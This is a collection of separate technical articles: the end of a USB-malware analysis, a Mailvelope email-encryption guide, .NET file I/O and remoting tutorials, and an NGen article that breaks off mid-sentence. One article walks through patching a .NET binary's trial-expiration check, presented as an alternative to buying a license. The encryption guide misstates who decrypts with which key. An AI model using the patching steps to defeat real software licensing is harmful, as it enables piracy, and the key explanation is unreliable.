Letter corresponds to a USB removable device or not. In the code above, we can see that it will set the value of EAX to 1 if it finds a USB removable device. After returning from this subroutine, it checks the value of EAX and if it is not 0, it then calls the infection subroutine at 0x00C190D3. It is important to note that this is the same infection routine that was called above when a USB removable device is connected to the machine and triggers the WM_DEVICECHANGE event. Conclusion After reading this article, you should be able to identify malware which make use of similar techniques to detect and infect USB removable devices. It will also help in writing signatures to detect malware which make use of the techniques discussed in this article. References MSDN-the microsoft developer network Source
-
Between constant password breaches and the NSA looking in on everything you do, you’ve probably got privacy on the mind lately. If you’re looking for a little personal privacy in your communications with friends and loved ones, or you just want to trust that the documents you email to your accountant or client aren’t being intercepted and read, you’ll need to encrypt those messages. Most email is sent as plain text. This means that anyone can intercept email messages. To rescue ourselves from man in middle attack we must have to use email encryption. Mailvelope is a browser extension that allows exchanging encrypted emails following the OpenPGP encryption standard. Email encryption Email encryption refers to encryption of email messages, to protect the content from being read by any unauthorized recipients. By using Email encryption we can keep our data safe when we send our documents. By the use of email encryption technique any unauthorized person is unable to understand the content of our mail. Email encryption can rely on public-key cryptography, in which users can each publish a public key that others can use to encrypt messages to them, while keeping secret a private key they can use to decrypt such messages or to digitally encrypt and sign messages they send. Mechanism of email encryption Encrypted email is a way of keeping the content of your email safe from eavesdropping as it bounces around the internet. The most common type of encryption is OpenPGP (PGP is “Pretty Good Privacy”). It was created by Phil Zimmerman in 1991. We can perform hard drive encryption, file system encryption as well as attachment encryption. It’s basically based on Public Key cryptography which contains a public key and a private key. Pretty Good Privacy is a popular program used to encrypt and decrypt e-mail over the Internet. It can also be used to send an encrypted digital signature that lets the receiver verify the sender’s identity and know that the message was not changed en route. Alice has two keys one is public and other is private. Basically public key is used for encryption purpose and private key is used for decryption purpose. Alice sends her public key to everyone who sends messages to her. And our user Bob also has a public key and private key. If Bob wants to send a message to Alice. Alice must share her public key with Bob so when the message comes to Bob, he will decrypt the message by using her private key and vice versa this is the main mechanism of PKC (Public key cryptography). Why we use Email encryption There are couple of reasons: Many countries spy on telecommunication and web communications in order to find suspicious activity. No one can say no as we have already many informers who have leaked the government’s secret data in which government policies are clearly visible to everyone. There are some strange IT laws in some countries. For example: one country has an IT law that, if there are any emails lying in our account more than 1000 days then they have a direct ability to check that email to find something juicy. No need follow standard procedures or pass legal documents to see email. So many techies keep their whole backup in their Gmail so it will be unfair to them to be spied on. Most email is sent as plain text. This means that anyone who can intercept email messages by using the “Man in the Middle” attack. No matter what age we are this attack will be there forever. You will never know how a person is sitting between you and you endpoint reading all your emails. Mailvelope Mailvelope is a browser extension that allows exchanging encrypted emails following the OpenPGP encryption standard. Mailvelope is available for Google Chrome and research is in process for Firefox. Mailvelope uses public-key cryptography which means a key is split up in two parts: public and private keys with different purposes: Public key: used to encrypt a message. Can and should be available to everybody. Private Key: used to decrypt a message. Needs to be stored securely. Access is restricted by password. Go to the Chrome web store and search for Mailvelope. Click on “Add to Chrome” and install it. After installation you will see the locker icon on the right side of the address bar which leads to Mailvelope’s main menu. Now click on options. Key ring is basically the keys that you have shared with your partners. Click on generate case, enter the details and press the submit button. There are various algorithms and key sizes you can choose according to your preference. Now the same configuration is needed at the other end. When the configuration is completed at both the ends we have to share our public key, to do this click on export. Then display public key, copy the entire key or just click on copy to clipboard. Send this key to your partner. No matter if it’s intercepted by someone, they will just see this kind of garbage values (as seen below) and they are not able intercept your email because they will never know which pass key and algorithm you used for encryption. When having to import a public key for your partner. You need to copy the key and click on options, then click on import keys. Paste it into the box and then press submit button, after the successful submission of the public key you will see the success message. After the configuration at both the ends, we are now able to send the encrypted email. Just open you email, enter the mail id of your partner, and enter the subject and… As we enter some text on the body of the mail we will see an icon on the right side of the mail body. Just click on that icon and now we are at the stage where we are able to enter our encrypted mail body. After drafting the mail, click on lock icon, displaying on the right hand side and it will ask where you want to send the encrypted email, select the person where you want to send encrypted email then click on add button, and click ok. Click on transfer and you will see that our small message will become large after the RSA encryption and it is impossible to read without the proper knowledge of key size and encryption algorithm. Click on transfer and send the mail to your partner. On the other end the receiver of the mail gets an encrypted mail, as shown below. For the decryption of the message we have just have to click as we put the key over the lock. It will ask for the password that we added during the configuration for the decryption of the message. By clicking ok, the message will be decrypted and we get our message on plain text. Benefits Easy to Use Ensures only authorized recipients can access secure emails. Limitations Mailvelope currently does not support signing of messages. References http://www.mailvelope.com. en.wikipedia.org/wiki/Email_encryption?. Source
-
Abstract The purpose of this article is to show how to bypass various security checks by modifying binary code directly, rather than source code, through the use of CFF Explorer. We have already looked at the diverse ways of circumventing IL code earlier. There we have accomplished such crucial tasks by playing with IL byte code instruction. This article basically teaches you how to identify the corresponding binary code instructions using the IL disassembler; then you will learn how to modify such binary code (hex code) using an editor such as CFF Explorer. Prerequisites It is presumed that the user has a thorough understanding and knowledge of binary coding manipulation and that you have installed a fresh copy of CFF Explorer software in order to edit the binary code instructions. Apart from that, the user should have a deep understanding of MSIL code instruction as well. The Cracking .NET Application Here, we are developing a demo C#.net application in order to illustrate how to bypass the security constraints of a program that performs a calculation or conversion of Centigrade to Fahrenheit. The code for the implementation of trial expiration is: public partial class Conversion : Form { bool isTrialExpired = true; public Conversion() { InitializeComponent(); } private void TrialExpiredCheck() { if (isTrialExpired) { MessageBox.Show(@"Trial Duration has expired! Installed Freh copy","!!!!Alert Message!!!!"); Application.Exit(); } } private void Conversion_Load(object sender, EventArgs e) { TrialExpiredCheck(); } #region Calculation code private void button1_Click(object sender, EventArgs e) { double c = Convert.ToDouble(textBox1.Text); double f = (c * 9 / 5) + 32; label3.Text = f.ToString(); } #endregion } Here, after carefully going through the code, we can easily figure out that the TrialExpiredCheck() method is responsible for product expiration. We don’t need to bother about the calculation conversion code and others. After successfully compiling this source code, the CLR produces its executable file. During the trial duration, the user interface prototype of this product would look like this: But the vendor of this product releases its beta version and provides only a free trial version in the market that works for a specific duration. Once this duration is complete, it will expire automatically and an alert message will flash on the screen. After the OK button is clicked, it automatically unloads the application. The alert message looks like this: Now, there are two options that will allow you to keep using the product. Either buy the product key (full version), which, of course, requires some money, or reverse-engineer the logic implementation in order to bypass the security checks. But we don’t have the source code, so how can we do this? It is still possible by changing the binary code of the executable, using CFF Explorer. IL Code Disassembling Although we don’t have the source code of this product, we are provided with the executable version. All we have to do is modify the binary code of this product in order to bypass the security restrictions by using the .NET shipped ILDASM.exe; we have already seen couple of examples of manipulation using ILDASM in the previous articles of this reverse-engineering series but, from the point of view of this article, the ILDASM role is slightly different. This time, we will dump the executable file in search of RVA (relative virtual address) instruction, which is obtained when we compile with the corresponding line number option. So first open the target assembly in ILASM:] The IL Disassembler will reveal all the statements for each method in line-by-line format. The RVA column typically allows the runtime to calculate the starting memory address of the MSIL, defining the method that contains the trial check, the bytes for each statement, and their position relative to the RVA. The disassembled or decompiled file, however, produces a large amount of raw IL code but our main concern is to find TrialExpireCheck() method corresponding code, as follows: .method private hidebysig instance void TrialExpiredCheck() cil managed { // Method begins at RVA 0x2134 .maxstack 2 .locals init ([0] bool CS$4$0000) .line 16,16 : 9,10 '' IL_0000: /* 00 */ nop .line 17,17 : 13,32 '' IL_0001: /* 02 */ ldarg.0 IL_0002: /* 7B (04)000004 */ ldfld bool Fahrenheit.Conversion::isTrialExpired IL_0007: /* 16 */ ldc.i4.0 IL_0008: /* FE01 */ ceq IL_000a: /* 0A */ stloc.0 IL_000b: /* 06 */ ldloc.0 IL_000c: /* 2D 18 */ brtrue.s IL_0026 IL_000e: /* 00 */ nop .line 19,20 : 17,81 '' IL_000f: /* 72 | (70)000041 */ ldstr "Trial Duration has expired!” IL_0014: /* 72 | (70)0000EA*/ ldstr "!!!!Alert Message!!!!" IL_0019: /* 28 | (0A)000020*/ call valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string,string) IL_001e: /* 26 */ pop .line 21,21 : 17,36 '' IL_001f: /* 28 | (0A)000021*/ call void [System.Windows.Forms]System.Windows.Forms.Application::Exit() IL_0024: /* 00 */ nop .line 22,22 : 13,14 '' IL_0025: /* 00 */ nop .line 23,23 : 9,10 '' IL_0026: /* 2A */ ret } // end of method Conversion::TrialExpiredCheck CFF Explorer Although there are a couple of hex editing or binary editing tools available, such as Ollydbg and IDApro, they don’t support .NET binary code editing; they can only perform C/C++/VC++ PE file modification. The CFF Explorer, however, was designed for PE editing with full support for the .NET binary file, but without losing sight of the portable executable internal structure. This wonderful tool encapsulates bundles of tools that might help reverse-engineering. The CFF Explorer includes the following features: Hex editor Quick disassembler (x86, x64, MSIL) Full support for PE32/64 PE utilities, PE rebuilder process viewer Drivers viewer Windows viewer PE and memory dumper View and modification of .NET internal structures Resource editor Support in the resource editor for .NET resources PE integrity checks Dependency walker Deep scan method Report generation Signatures updater Signatures retriever Binary Code Patching Now it is time for action. Open CFF Explorer (this is a free utility that can be downloaded from NTCore's Homepage). Open the target .NET executable file (Fahrenheit.exe) and it will decompile it and then load all of the associated binary code. As you can see in the following image, CFF Explorer reveals almost every detail about this executable file, such as its name, file type, development environment, file size, PE size, and hashing format. We can perform bundles of operations using CFF Explorer, including resource modification, hex editing, disassembling, address conversion, and finally rebuilding or rewriting the file. Our main interest is “Address Converter,” which is located in the middle left panel. Just open it and you will find the executable file in the form of binary code. One of the sophisticated and complex tasks is to directly manipulate or modify the binary instruction because we don’t have any information about which instruction is responsible for which binary hex value. That is why we disassembled that executable file into IL code earlier in order to find the RVA value and binary code sequences. The IL code file has each instruction with its exact line number, which points out the real source code line number and sequence of bytes. Basically, RVA represent the segment address for method (TrialExpiredCheck), which includes all the logic for the security constraints. This instruction indicates that this method body starts from the address 0×2134 in the raw hex bytes. We have to perform two tasks in order to bypass the trial version expiration restrictions; Stop or divert the call of Application.Exit() method in account of carting on the execution. Remove the “Trial version expired” alert message box. So, by using this value 0×2134, we can directly jump into the security constraint logic code, as shown below; Divert or Remove the Call to Application.Exit() method We have to first identify the associated bytes in the hex code that are responsible for executing Application.Exit() method. After carefully scrutinizing the IL code defined earlier, we can figure out that opcode IL_001f is key code as; IL_001f: /* 28 | (0A)000021*/ call void [System.Windows.Forms]System.Windows.Forms.Application::Exit() IL_0024: /* 00 */ nop IL_0025: /* 00 */ nop IL_0026: /* 2A */ ret The associated byte values are shown in red; we have to align them in proper sequence. This is normally done right to left as following; 28 21 00 00 0A 00 00 2A You can also spot such a byte sequence in the CFF hex code editor, as shown below; So, if we change the bytes between 26 and 2A to nop (00), then we can stop or remove the call of Applicaton.Exit method: We have now successfully removed the call to Exit() method. Remove the Call to Alert Message Box If we examine the IL code thoroughly, we can easily see that there is Boolean variable, isTrialExpired, which is configured to be True by default and, in the TrialExpiredcheck() method, its value is checked in a condition. Because the Boolean variable value is true, if condition construct execution always true and an alert message box will be flashed. IL_0002: /* 7B (04)000004 */ ldfld bool Fahrenheit.Conversion::isTrialExpired IL_0007: /* 16 */ ldc.i4.0 IL_0008: /* FE01 */ ceq IL_000a: /* 0A */ stloc.0 IL_000b: /* 06 */ ldloc.0 IL_000c: /* 2D 18 */ brtrue.s IL_0026 The real byte sequence would be as follows; So, this is the hack: If we remove this if condition check by replacing the IL_00c instruction value 2D with 2C, then the if construct is never executed and no alert message box shows up. Finally, save the modification that you have made to the binary code file because it is also provides the functionality of rebuilding the executable file. Now test the executable: The message box does not appear and the executable file loads successfully. Bingo! We have successfully removed all the security restriction. Summary This article showed how to edit or patch the binary code instructions without having the actual source code. We employed a third-party tool, CFF Explorer, which supports the .NET binary file modification, unlike the other hex editors. We have also learned one of the advanced dumping tactics of IL code in order to obtain the real line number and actual corresponding byte sequences. After understanding how this works, we can easily reverse-engineer the .NET binary code as per our requirement. Source
-
Abstract This article shows how to perform tasks involving reading and writing files from various partitions by using the C#.net programming API. In particular, it covers exploring the directory structure, finding out what files and folders are present, and performing other file-related operations, such as moving, copying, and deleting objects from the disk. The core motive behind this article is to explore types defined in the System.IO namespace and to promote an understanding of various ways to read from and write to character-based, binary-based, and string-based data stores. The Anatomy of a File System The System.IO provides four classes that allow you to manipulate individual files and interact with a machine directory structure. The Directory and File directly extends the System.Object to allow creating, copying, moving, and deleting using various static methods only, never instantiated. The FileInfo and DirectoryInfo types are derived from the abstract class FileSystemInfo type and they are typically, employed for obtaining full details of a file or directory because their members tend strongly to return type objects. They implement roughly the same public methods as Directory and File, but they are stateful and the members of these classes are not static. In the .NET framework, the System.IO namespace is the region for the base class libraries devoted to file-based input and output services. Like any namespace, the System.IO namespace defines a set of classes, interface, enumeration, structure, and delegates. The following table outlines the core members of this namespace as following; Class Types Description Directory/ DirectoryInfo These classes are used to manipulate the system directory structure. DriveInfo This class contains detailed information regarding the drives that a given machine uses. FileStream This represents random file access data as a stream of bytes. File/FileInfo These classes are used to manipulate computer files. Path This performs operations on System.String types that contain file or directory path information in a platform-neutral manner. BinaryReader/BinaryWriter These classes allow you to store and retrieve primitive data types as binary values. StreamReader/StreamWriter This is used to store textual information in a file. StringReader/StringWriter These classes also work with textual information. However, the underlying storage is a string buffer rather than a physical file. BufferedStream This class provides temp storage for a stream of bytes that you can commit to storage at a later time. Reading Disk Partitions The System.IO provides a class DriveInfo in order to manipulate system drive-related tasks. The DriveInfo class provides numerous details, such as displaying the total number of drives and calculating total hard disk space, available space, drive name, ready status, types, etc. Consider the following program, which showing the total disk drives DriveInfo[] di = DriveInfo.GetDrives(); Console.WriteLine("Total Partitions"); foreach(DriveInfo items in di) { Console.WriteLine(items.Name); } The following code snippets perform the rest of the DriveInfo class methods operation in detail. Full information about a particular drive is displayed like this: using System; using System.IO; namespace DiskPartition { class Program { static void Main(string[] args) { DriveInfo[] di = DriveInfo.GetDrives(); Console.WriteLine("Total Partitions"); Console.WriteLine("---------------------"); foreach(DriveInfo items in di) { Console.WriteLine(items.Name); } Console.Write("nEnter the Partition::"); string ch = Console.ReadLine(); DriveInfo dInfo = new DriveInfo(ch); Console.WriteLine("n"); Console.WriteLine("Drive Name::{0}",dInfo.Name); Console.WriteLine("Total Space::{0}", dInfo.TotalSize); Console.WriteLine("Free Space::{0}", dInfo.TotalFreeSpace); Console.WriteLine("Drive Format::{0}", dInfo.DriveFormat); Console.WriteLine("Volume Label::{0}", dInfo.VolumeLabel); Console.WriteLine("Drive Type::{0}", dInfo.DriveType); Console.WriteLine("Root dir::{0}", dInfo.RootDirectory); Console.WriteLine("Ready::{0}", dInfo.IsReady); Console.ReadKey(); } } } After compiling this program, it displays almost every detail of disk drives and a particular drive, as seen below: Working with Directory The .NET framework stipulates two rudimentary classes, DirectoryInfo and Directory, in order to perform directory- related operations such creation, deletion. DirectoryInfo Class The DirectoryInfo class contains a set of members used for creation, deletion, moving, and enumeration over directories and subdirectories. The following code sample displays the information related to the temp directory in D drive: DirectoryInfo di=new DirectoryInfo(@"D:temp"); Console.WriteLine("*******Directory Informations*******nn"); Console.WriteLine("Full Name={0}",di.FullName); Console.WriteLine("Root={0}",di.Root); Console.WriteLine("Attributes={0}", di.Attributes); Console.WriteLine("Creation Time={0}", di.CreationTime); Console.WriteLine("Name={0}", di.Name); Console.WriteLine("Parent={0}", di.Parent); The output follows: DirectoryInfo di=new DirectoryInfo(@"D:tempxyz"); di.Create(); We can also programmatically extend a directory structure using the CreateSubdirectory() method. The following code sample firs, creates a subdirectory in D drive, then in D:ajay: DirectoryInfo di=new DirectoryInfo(@"D:"); di.CreateSubdirectory("ajay"); di.CreateSubdirectory(@"ajayajay11"); Directory Class The Directory class provides almost the same functionality as DirectoryInfo. The Directory typically returns string data rather than strongly typed DirectoryInfo objects. The following sample deletes the directory and subdirectory in D drive: static void Main(string[] args) { DirectoryInfo di = new DirectoryInfo(@"d:abc"); Console.WriteLine("Name:{0}",di.FullName); Console.Write("Are you sure to Delete:"); string str=Console.ReadLine(); if (str == "y") { Directory.Delete(@"d:abc", true); } Console.Write("Deleted....."); } Reading and Writing to Files Reading and writing operations are done through File objects. The following code snippet reads a text file that is located on machine somewhere: private void button1_Click(object sender, EventArgs e) { try { textBox2.Text = File.ReadAllText(txtPath.Text); } catch (FileNotFoundException) { MessageBox.Show("File not Found...."); } } First the user interface asks the user to enter the path of the file that he wants to display. Then that path is passed to the File method ReadAllText() method, which reads all the text integrated in the file and displays it in the text box. Besides reading a file, we can write some contents over an existing text file by using the File class WriteAllTest() method, as follows: File.WriteAllText(@"d:test.txt", textBox2.Text); It takes a path to save the file and a content input method medium, such as a text box or any other control. The following image depicts a text file reading by entering its corresponding path: Stream The .NET provides many objects such as FileStream, StreamReader/Writer, and BinaryReader/Writer to read and write data to a file. A stream basically represents a chunk of data flowing between a source and a destination. It provides a common way to interact with a sequence of bytes regardless of what kinds of devices store or display the bytes. The following table shows common stream member functions: Methods Description Read()/ ReadByte() Reads a sequence of bytes from the current stream. Write()/WriteByte() Writes a sequence of bytes to the current stream. Seek() Sets the position in the current stream. Position() Determines the current position in the current stream. Length() Returns the length of the stream in bytes. Flush() Updates the underlying data source with the current state of the buffer and then clears the buffer. Close() Closes the current stream and release any associated stream resources. FileStream A FileStream instance is used to read or write data to or from a file. In order to construct a FileStream, first we need a file that we want to access; second, the mode that indicates how we want to open the file; third, the access that indicates how we want to access a file; and finally, the share access, which specifies whether you want exclusive access to the file. Enumeration Values FileMode Create, Append, Open, CreateNew, Truncate, OpenOrCreate FileAccess Read, Write, ReadWrite FileShare Inheritable, Read, None, Write, ReadWrite The FileStream can read or write only a single byte or an array of bytes. You will be required to encode the System.String type into a corresponding byte array. The System.Text namespace defines a type named encoding that provides members that encode and decode strings to an array of bytes. Once encoded, the byte array persists with the FileStream.Write() method. To read the bytes back into memory, you must reset the internal position of the stream and call the ReadByte() method. Finally, you display the raw byte array and the decoded string to the console: using(FileStream fs=new FileStream(@"d:ajay123.doc",FileMode.Create)) { string msg = "first program"; byte[] byteArray = Encoding.Default.GetBytes(msg); fs.Write(byteArray, 0, byteArray.Length); fs.Position = 0; byte[] rFile = new byte[byteArray.Length]; for (int i = 0; i < byteArray.Length; i++) { rFile[i] = (byte)fs.ReadByte(); Console.WriteLine(rFile[i]); } Console.WriteLine(Encoding.Default.GetString(rFile)); } BinaryReader and BinaryWriter The BinaryReader and BinaryWriter classes allow you to read and write discrete data types to an underlying stream in a compact binary format. The BinaryWriter class defines a highly overloaded Write() method to place a data type in the underlying stream. Members Description Class Write Writes the value to current stream BinaryWriter Seek Sets the position in the current stream BinaryWriter Close Closes the binary reader BinaryWriter Flush Flushes the binary stream BinaryWriter PeekChar Returns the next available character without advancing the position in the stream BinaryReader Read Reads a given set of bytes or characters and stores them in the incoming array. BinaryReader The following sample first writes data contents to a new champu.dat file by using BinaryWriter. Later, to read the, BinaryReader class employs a number of methods, as follows: class Program { static void Main(string[] args) { // writing FileInfo fi = new FileInfo("champu.dat"); using (BinaryWriter bw = new BinaryWriter(fi.OpenWrite())) { int x = 007; string str = "hello champu ,one day you will become doomkatu"; bw.Write(x); bw.Write(str); } //Reading FileInfo f = new FileInfo("champu.dat"); using (BinaryReader br = new BinaryReader(fi.OpenRead())) { Console.WriteLine(br.ReadInt32()); Console.WriteLine(br.ReadString()); } Console.ReadLine(); } } StringReader and StringWriter We can use StringWriter and StringReader to treat textual information as a stream of in-memory characters. This can prove helpful when you wish to append character-based information to an underlying buffer. The following code sample illustrates this by writing a block of string data to a StringWriter object, rather than to a file on the local hard drive: static void Main(string[] args) { // writing using (StringWriter sw = new StringWriter()) { sw.WriteLine("helloooooooooooooooooooo"); // Reading using (StringReader sr = new StringReader(sw.ToString())) { string input = null; while((input = sr.ReadLine())!=null) { Console.WriteLine(input); } } } } Summary This article began by introducing the .NET file system and its detailed class hierarchy. We have learned to manipulate a physical file or directory on the hard drive by using File and Directory class. Next, we examined the Stream class in detail. The System.IO namespace provides numerous writer and reader types, for instance FileStream, BinaryStream, StringStream, etc. So this article gives you a full understanding of how to access data from the hard drive and write it back. Source
-
Distributed Computing Abstract This article covers the means of cross-process and cross-machine interaction of applications developed with .NET framework. This snippet provides you with an in-depth understanding of the remoting capabilities that are built into .NET framework. It’ll present some scenarios in which .NET remoting can be employed, and includes a historical background on the progress and development of various remoting frameworks. This will get you started with your first remoting application by creating and configuring its corresponding server and client modules by using HTTP, TCP, and IPC channels. At the end, you’ll be able to design and develop remotable components under a CLR context. Why Remote? Remoting was typically used for accessing a server’s resources at the beginning of the client/server era. Every file server or database is an implementation of some tactics that allow code to be executed remotely. Nowadays, the building of distributed applications makes it easy to distribute business logic among diverse machines to improve performance, maintainability and scalability. There are couple of other distributed architecture implementations introduced and used frequently, such as Web Services, COM ,COM+, DCOM, RMI, CORBA and EJB. The following explains the need for remoting technology and its advantages over other technology. Cross-platform Communication You’ll typically encounter a heterogeneous combination of different platforms such as Windows, LAMP, Mac programming languages, C++, PHP, Cold Fusion, and frameworks. Those include .NET, or JAVA in a larger or mid-size enterprise. So, integration of these technologies could be a daunting task for system architects. Remoting technology like .NET Remoting, CORBA and SOAP are an absolute necessity in large-scale enterprise application integration, in order to build scalable applications. Centralized business logic One of the key scenarios for implementing remoting technology is the concentration of business logic on a central server. That considerably simplifies the maintainability and operability of large scale applications, because we have to update one single server rather a number of users separately. When a centralized architecture shares different applications, it reduces programming labor. Remoting Architecture .NET remoting is a process of programs or components interacting across certain application domains. The communication between application domains can happen inside the same process, between processes on a single system, or between processes on different machines. It provides a faster method of communication between .NET applications on both the client and server side. All in all, .NET remoting is a perfect paradigm which is only on a LAN (intranet), not on internet. .NET framework provides a foundation for distributed computing- it replaces DCOM technology. Remoting implementations typically distinguish between mobile objects and remote objects. Mobile objects provide the ability to execute methods on remote servers, passing parameters and receiving return values. Remote objects will always be located in a server, and only a reference to it passes around other machines. The following figure depictes a simplified view of remoting technology. Whenever a client application holds a reference to a remote object, it’s represented by a TransparentProxy object, which masquerades as the destination object. This proxy will allow all target object instance methods to be called upon it. Whenever a method call is placed to a proxy, it’s converted into a message that’ll pass through various layers. Remoting characteristics It’s a flexible and extensible framework that allows for different transfer mechanisms, such as HTTP and TCP, encoding (binary and SOAP), and security settings such as SSL and IIS security. We can use it anywhere, such as in console applications, Windows applications, COM components or Windows services applications. .NET remoting enables us to work with stateful objects. When we use remote objects, .NET automatically keeps track of where they originated. So, a client can ask one server to create an object and safely pass the parameters to another server. Remoting in Action Remoting classes can be found in the namespace System.Runtime.Remoting and its core classes can be found in mscorlib.dll. When using remote objects, both client and server must have access to the same interface definitions and serializable objects that are passed by value. That means at least three assemblies are needed for any .NET remoting project. General Assembly (Class library project): A shared assembly which contains the interface and serializable object. Server Assembly (Console application): iThe server side implementation of MarshalByRefObjects. Client Assembly (Console application): The general assembly methods implementations. General Assembly (Interface Definition) First, create a C# base class library project where you have to define the interface ICustManager, which will be implemented by the server. In this interface, you’ll define a single method. getCust(), that returns a customer object to the caller: namespace Rem_GeneralLib { public interface ICustManager { Customer getCust(int id); } } Now, you need to define a customer that will hold the customer data. This class must be serialized because its object needs to be passed as a copy. Here, we’re declaring the name and address, and calculating the present age: using System; namespace Rem_GeneralLib { [Serializable] public class Customer { public string Name; public int Age; public string Address; public DateTime dt; public Customer() { Console.WriteLine("Customer Object Created......"); } public int getAge() { Console.WriteLine("-----Customer Data-----"); Console.WriteLine(Name); Console.WriteLine(dt.ToShortDateString()); Console.WriteLine(Address); TimeSpan ts=DateTime.Today.Subtract(dt); return ts.Days / 365; } } } Finally, compile this class library project and its corresponding Rem_GeneralLib.dll file. It’ll be in the bin folder, which will be referenced in the remoting server project. Remoting Server Implementation The remoting server application will be a console base application. On the server, you need to provide an implementation of ICustManager that’ll allow you to load a customer from a fictitious database. This implementation will only fill the customer object with static data. To implement the server application, first add the references from Rem_GeneralLib.dll and System.Runtime.Remoting.dll. Now add these following lines to the declaration: using System.Runtime.Remoting; using System.Runtime.Remoting.Channels; using System.Runtime.Remoting.Channels.Http; After, you’ll have to implement ICustManager in an object derived from MarshalByRefObject. The method getCust() will just return a dummy customer object. Finally, register an HTTP channel which listens on port 7861. This channel is registered in the remoting system, which will allow incoming requests to be forwarded to the corresponding object. using System; using System.Runtime.Remoting; using System.Runtime.Remoting.Channels; using System.Runtime.Remoting.Channels.Http; using Rem_GeneralLib; namespace Rem_Server { public class CustomerManager: MarshalByRefObject, ICustManager { public CustomerManager() { Console.WriteLine("Customer Manager Object Created......"); } public Customer getCust(int id) { Customer cst = new Customer(); cst.Name = "Ajay Yadav"; cst.dt = new DateTime(1982,10,9); cst.Address = "India"; return cst; } } class RemServer { static void Main(string[] args) { The class CustomerManager is registered as a WellKnownServiceType, which allows the client to remotely call its methods. The URL will be “RemotingServer.” Object mode is set to singleton, to ensure that only one instance will exist at any given time. Service Consuming (Client Implementation) The remoting client will connect the server and ask for a customer object. For the client, you also need to add references of System.Runtime.Remoting.dll, and compile the Gen_Remoting.dll file again. Register the channel, you don’t need to specify the port number because client side ports are assigned automatically. Create a proxy class that’ll support IcustManager, which is passed in the activator class as a parameter. Enter the URL of the server. Finally, call the customer class method in order to populate the customer class data. using System; using System.Runtime.Remoting; using System.Runtime.Remoting.Channels; using System.Runtime.Remoting.Channels.Http; using Rem_GeneralLib; namespace Remoting_Client { class ClientStartup { static void Main(string[] args) { HttpChannel chn = new HttpChannel(); ChannelServices.RegisterChannel(chn,false); ICustManager mgr = (ICustManager)Activator.GetObject( typeof(ICustManager), "http://localhost:7861/RemotingServer"); Console.WriteLine("Connecting to Server.....nn"); Customer cust = mgr.getCust(101); int age = cust.getAge(); Console.WriteLine(age); Console.ReadLine(); } } } After finishing the coding, compile the client project. Remember, first run the server project console application which will listen on port 7861, then start the client console application which will produce the following output. Note: System firewall echoes an alert because initially, it won’t allow any communication on port 7861 for security reasons. So allow an ad-hoc communication on port 7861. Notice in the server console, it’ll notify you that all of CustomerManager constructor is called, right after the displayed output in the client project: We can also confirm whether the socket is created on port 7861 or not by entering the netstat command. Summary This article is an introduction to .NET remoting, a distributed computing technology. We now know about the various aspects in which .NET remoting fits in and is applied. We dug deeper into remoting concepts, and their advantages in detail. We also learned an example of remoting technology by creating three assemblies which encapsulated general assembly, the server program and the client application. Source
-
Abstract As an application grows ever more complex, it is necessary to build a more efficient and faster .NET application that requires a special treatment of .NET assemblies in a global assembly cache in order to attain faster execution. This article showcases how to write and execute high-performance .NET-managed code by employing the native image generator utility. NGen.exe is a remarkable tool for achieving application performance, but some of its disadvantages are also illustrated by this article; scenario guidelines to which it is best fitted are recommended. JIT versus Native Assembly Assemblies store code in the MSIL format. When a method is invoked for the first time, the CLR JIT (just-in-time) compiles that method into native machine code. The native code is stored in memory and directly used for any subsequent call to this method. In the JIT compilation mode, a method is slow when it is called for the first time because an additional step of compilation is involved, but any subsequent calls to that method will run as fast as native code itself. When you view the GAC, note that some assemblies have their type marked as native image, which implies that these assemblies were precompiled in native code before they were installed in the native image cache. You can create a native image for your assembly by using the native image generator tool, which is installed as a part of the .NET framework SDK. NGen.exe (Native Image Generation) CLR doesn’t interpret IL codes. Rather, it uses a just-in-time (JIT) compiler to compile IL code to native machine code at run time. It is clear that the conversion of managed code to native code imposes some performance costs, during classes, library loading, and application start-up. In order to overcome such problems and to make retrieval more responsive, the CLR offers ahead-of-time JIT compilation using a technology called NGen. The NGen.exe utility, which can be found in your framework directory, enables you to perform this ahead-of-time compilation on the client machine. The outcome of this operation is stored in a central location on the machine called the native image cache. The loader typically knows to peep here when loading an assembly or DLL that is signed with a strong name. All of the .NET Framework assemblies are NGen-manipulated during the install of the framework itself. NGen.exe Operation NGen.exe uses the same code-generation tactics that the CLR JIT uses to generate native code. The code that is generated is designed to take advantage of the underlying computer architecture. An NGen image might be unusable due to subtle differences in chip capabilities. Thus, image generation must occur on the client machine as part of install rather than being done at coding time during deployment. CLR notices this at loading time and will fall back to runtime JIT. If you apply NGen operation to your exe file, then NGen traverses your application dependencies, generates the code for each, and stores the image in the native image cache alongside your program. In version 4.0 or 4.5 of the framework, a new NGen windows service has been integrated to take care of queuing and managing the NGen application in the background. This virtually implies that your program can install, add a request to the NGen queue, and exit installation. The NGen service will then take care of compilation asynchronously. The NGen tool has quite a few switches to control be behavior. Running NGen.exe at the command prompt will bring up detailed usage information for the tool, as shown below: Here is a brief summary of significant switches for operating NGen.exe: Install—The ngen.exe install abc.dll command will JIT compile and install the image for abc.dll and its dependencies into native image cache. Display—Running ngen.exe display abc.dll will show you the image status for abc.dll. Uninstall—You can run the ngen.exe uninstall abc.dll command to entirely remove the image from the native image cache. Update—Running ngen.exe update will update any native images that have been invalidated due to change in an assembly. Queue—Invoking ngen.exe queue [pause | status | continue] command enables you to manage the queue from the command line by pausing and continuing about its status. Note: The Visual Studio command prompt must be run under administrative privileges in order to execute Ngen.exe NGen.exe Advantage and Disadvantage Since the code is compiled at install time, the CLR’s JIT compilation does not have to compile the IL code at run time, and this can improve the application’s performance. The NGen.exe tool is advantageous in the following scenarios: Optimizing an application’s startup time—NGen.exe surely improves the application’s startup time because the code will already be compiled into native code so that compilation doesn’t have to occur at run time. Reducing an application working set—Some assembly will be loaded into multiple application domains or processes simultaneously. NGen.exe can reduce the application working set because it compiles the IL to native code and save the output in a separate file. This file can be memory-mapped into multiple process address spaces simultaneously. Despite providing a few benefits on managed code, such as garbage collection, verification, and type safety, without hitting the performance problem, there are several potential issues addressed by an NGen-manipulated file: Loss of intellectual property protection—It is not possible to keep the intellectual property secret by shipping NGen-manipulated files without the files containing the original IL code. At run time, the CLR requires access to the assembly metadata. Out of sync—When CLR loads an NGen-manipulated file, it compares a number of characteristics with the previously compiled code. If any of them don’t match, the NGen-manipulated file cannot be used and the normal JIT compiler process is used instead. Substandard load-time performance—Every assembly file meets standard Windows PE standards and each contains a preferred base address. When Windows loads an NGen-manipulated file, it checks to see if the file loads at its preferred base address. If it is not, Windows relocates the files, fixing all of the memory references. This process is extremely resource- and 